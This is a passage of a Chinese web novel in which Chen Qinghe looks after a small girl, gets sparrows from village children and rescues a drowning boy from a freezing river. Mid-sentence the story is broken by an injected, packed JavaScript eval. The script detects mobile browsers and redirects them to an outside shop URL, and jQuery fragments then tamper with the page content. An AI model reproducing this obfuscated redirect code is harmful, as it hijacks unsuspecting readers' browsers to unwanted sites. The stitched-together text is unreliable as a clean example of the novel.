没想到还有这番故事。
陈青禾似笑非笑地看了看狗娃,没往他心尖上再戳一刀。
孩子们吃完,屁股下面又跟有东西戳一样,嘻嘻哈哈地跑远了。
等二丫吃完,陈青禾又仔细地检查她皲裂的小手和冻得通红的脸,才擦了两天雪花膏,效果还不太明显,她便又小心翼翼地涂抹着她的手跟脸,“痒不痒?疼不疼?”
阿丫笑眯眯地摇摇头,一脸快乐地把手伸到鼻子底下,牙齿都笑得露了出来。
“是香的,好香!”
“没有咱们宝贝香!”陈青禾亲昵地捧着她的小脸搓了搓,“昨天教你的知识还记得吗?”
阿丫立马举起小手,嘴巴不停地舞动,叽叽喳喳地献宝一般说,“记得记得!一二三四五……”
“还会写吗?”
二丫又撅着小屁股,蹬蹬蹬地跑到墙脚下,捡了根半干半湿的小木棍,一手摁在地上,一手扶着自己的小膝盖,在泥土地面上画着“一二三四五”,前几个数字居然全部都写对了!
“哇,这是谁家的宝贝这么聪明呀?简直是天才!”
陈青禾毫不吝啬夸奖,直把二丫夸得咯咯咯地笑出声来,又在泥土上重复写了一遍一二三四五给她看,还骄傲地挺挺小胸膛,说,“姨姨,我还要学!”
陈青禾能感受到二丫一天比一天更依赖自己,她也享受着来自3岁妈妈全心全意的依恋。
倒是狗娃虎子那边,不知道是不是江米条和桃酥的功力过于强大,接连几天,她推开门后都能瞧见几个小萝卜头在自己家门口不远处,偶尔还能看见他们张望的、期盼的目光。
这天,陈青禾刚推开门,就见虎子狗娃、鼻涕娃等人蹲在她家门口,虎子手里还拎着两只冻死的麻雀,献宝一般地递给她,“给你吃!”
陈青禾诧异了两秒,虽说麻雀个小肉少,但烤一烤也能尝个肉味,是如今很多村里人渴求而又不可得的。
毕竟麻雀聪敏,很难捕捉得到。
“给我?你们自己拿去吃呀!”
陈青禾歪头看向几人,为首的虎子非得把麻雀递给她,见她不要,几个小屁孩对视一眼,将手里的麻雀往门口一丢。
他们却像麻雀一样,嘻嘻哈哈地跑远了。
真是人小鬼大!
陈青禾无奈地摇了摇头,收下他们的善意果实。
这麻雀她倒是不怎么会做,只能照葫芦画瓢,用热水烫烫,拔了毛,去了内脏,放进瓦罐里,加萝卜慢慢炖煮。
熬煮个把小时,汤便慢慢地呈现奶白色,掀开盖子,一股香甜的肉味便弥漫开来。
陈青禾食欲大开,又往里加了糙面疙瘩和粉条,再煨个三五分钟,丢一把白菜叶子,这饭菜便做好了。
她留了一半,准备给二丫尝尝,没想到一去就瞧见一桩好戏。
陈家院子里,张美美正抄起一根木棍,看似凶狠,实则轻飘飘地打在陈小宝身上,嘴里还骂骂咧咧,“谁让你去掏人家鸡窝的蛋?”
陈小宝哇哇大哭,一个劲地求饶,“我错了我错了!别打了呜呜呜!”
虎子狗娃居然也在院子旁边,尴尬地杵着当门神,时不时地摸摸鼻子偷笑。
还有两个婶子,一个看热闹立在一旁,一个上前劝了两句,瞧着像是被偷鸡蛋的苦主。
“算了算了,孩子还小,懂个什么呢?算了算了别打了……”
“怎么回事啊?”陈青禾好奇地问溜达到他身边的虎子和狗娃,“你们一伙的?”
虎子大两岁,此刻摇摇头,“不是啊,嘿嘿,他看我们烤雀鸟蛋吃,馋了,见我们不肯分给他吃,就说拿别的蛋来换,结果图省事没回家,掏的是别人家鸡窝里的蛋。”
“然后被发现了。”
陈青禾哦了一声,似笑非笑地点了点头,没有评价。
“你们还挺厉害的,还能摸到雀鸟蛋。”
“嘿嘿还行吧,”虎子拍了拍旁边的狗娃,“狗娃爬树可厉害了,我们的蛋都是他找的。”
狗娃在一旁得意洋洋。
似乎是怕陈青禾介意他们没给她蛋,连忙又解释说,“那个蛋刚刚好一人一个,就没有给你,等我们下次再摸到,再给你吃。”
陈青禾哪里会介意这种小事?不过看这群小萝卜头充当大人,还挺有意思的,便点了点头说,“行啊,有来有回,那我下次再给你们江米条吃!”
“好呀好呀!”
虎子和狗娃一听高兴坏了,连连点头,“我们晚点去摸鱼,你要来吗?要是我们摸到了,也给你吃!”
“上树摸鸟蛋、下河捉鱼虾,挺全能呀,还有什么是你们不会的?”
陈青禾打趣两句,又说,“这个天气摸鱼虾冷得慌,注意安全别着凉了!”
“没事的没事的,我们的身体好得很。”
唠嗑的这会功夫,院子里的闹剧也终于结束,以张美美赔了对方一个鸡蛋,说了一些好话为结局,双方各自作鸟兽状离开。
“二丫!”
陈青禾看完了戏,便又准备将二丫抱回自己家去。
“青禾妹子啊,二丫跟她姐玩呢,先不去你那了吧?”
对上张美美半蹙眉的目光,陈青禾心中微叹,她这个外婆别扭得很。
“那我晚点再来吧?等二丫空闲了再说!”
张美美尴尬一笑。
等陈青禾离开后,隔壁婶子出声,“二丫跟着青禾妹子这些天,又有吃又有穿,还能学知识,你在那别扭个什么劲?”
张美美脸色一沉,“我家二丫是我生的,怎么说也是我这个当妈的做主!”
她总觉得青禾妹子是生不出来娃,所以想抱养个后代,也不知道怎么瞧中了他们家二丫。
一想到是这么回事,她这心呐,就跟火烤似的,整夜难以入睡。
而且如果青禾妹子真的抱有这种想法,不应该讨好他们家吗?
可看她的种种表现,除了对二丫好外,对她、对大丫态度都很一般,并不太亲近,更不会刻意献殷勤。
连块饼干都不舍得给大丫小宝吃。
隔壁婶子撇撇嘴,扭着腰回自己家去了。
--
陈青禾回到家将火熄灭,半罐子麻雀汤粉放凉,留待晚上再吃。
这个冷嗖嗖的季节,食物放两天都不会变质。
下午她闲来无事,溜达到河边,想看看那群小子是怎么个摸鱼法。
还没走近呢,就突然听到一阵惊呼与鬼叫。抬眸望去,发现居然是有萝卜头落水了。
对方太过惊慌,兴许也不会游泳,不停地胡乱挥舞着双手,却缓慢地往河中央慢慢漂去。
陈青禾目光在岸上的几
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001198|193443||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个萝卜头中瞧了一眼,瞧见完好无恙、惊慌十足的狗娃和虎子后,心里松了口气。
再看他们俩竟然试图下水,连忙上前几步阻止,然后迅速脱掉大衣随手扔在地上,先他们一步往河边走去。
“姨,你会游泳吗?”
虎子急忙问道!
“会!”
河水刺骨般冰凉,如针扎似地刺向她全身,她冷得嘶了一声,咬紧牙关,连忙朝对方游过去!
虎子在岸边焦急地跳脚,又捡起地上的大衣拍打两下脏泥巴,牢牢抱在怀里。
狗娃则飞一般地抓着两个同伴的手,往有人家的地方跑去,边跑边喊,“救命!鼻涕娃落水啦!快来人啊!快来人啊!”
此时,陈青禾终于游到了小萝卜头身边,好在对方还有一丝意识,只是嘴唇青紫、面容惨白,见到人时眼泪簌簌往下掉!
陈青禾揪住他的衣领,努力将他的头托出水面,不停安慰着,“没事没事,抱紧我!”
感受着鼻涕娃不停颤抖的身体,她又调转方向,紧抓着他的腰往岸边滑动。
刚划到岸边,便有不少老老小小,抄着棍子、绳子跑过来。
见状,村民们立马伸手拖拽着她,还有的人直接站在了河边,揽着两人往岸边松。
风一吹,陈青禾直冻得哆嗦。
翠竹连忙从虎子手上接过他抱得好好的大衣,披在她身上,急声问,“没事吧没事吧?”
陈青禾摇摇头,看向鼻涕娃,“孩子没事吧?”
鼻涕娃还小声抽噎着,意识还算清醒,但是也呛了不少脏水。
这会有大人半抱着他,倒立着拍打他的脊背,见他吐出了几口水,这才放下心来。
其他几个婶子则帮忙脱掉了孩子的湿衣服,鼻涕娃的爸妈连忙解开棉衣给孩子裹着,好歹暖一暖。
他们一边抱着孩子哭,一边朝陈青禾磕头,“谢谢谢谢,谢谢,强子要是有个三长两短,我们要怎么办啊呜呜呜……”
陈青禾连忙摆手,“先别管这些了,先送孩子去卫生所吧,这么冷的天,肯定冻着了!”
其他几人也安慰着,“孩子没出事就是好事,青禾妹子说的对,先送去卫生所看看,拿点药,挂个水,免得晚上发高烧了!”
一伙人送鼻涕娃爸妈赶往卫生所,翠竹等人则又簇拥着青禾往家的方向赶。回了家,她们又忙碌开来,帮着烧水,帮着生柴火,忙得不亦乐乎!
陈青禾心中微暖。
“青禾妹子,你先洗吧,别着凉了!”
兴许是怕她害羞,几个婶子又连忙关了厨房的门,坐在门外唠着嗑,给她留点隐私空间。
陈青禾也没久洗,换下湿衣服,擦了擦身子,热水暖过,她便觉得好多了,再换上干净的衣服,便立刻舒坦许多。
再一开门,便发现翠竹从家里给她拿了一件旧的大棉袄,不由分说地塞到她怀里,“你这衣服太单薄了,赶紧套上我这个,好歹暖和一些!”
陈青禾也没拒绝,只是默默地在她的羊驼大衣外面,又套了一件灰蓝色的补丁棉袄。
刚一套上,几个婶子立马笑开了!
“哈哈哈,这下像是咱们村的人呢!”
“哎呦别说,青禾妹子这样穿也好看!”
听她们的打趣,陈青禾也忍不住露出一丝真切的笑意来!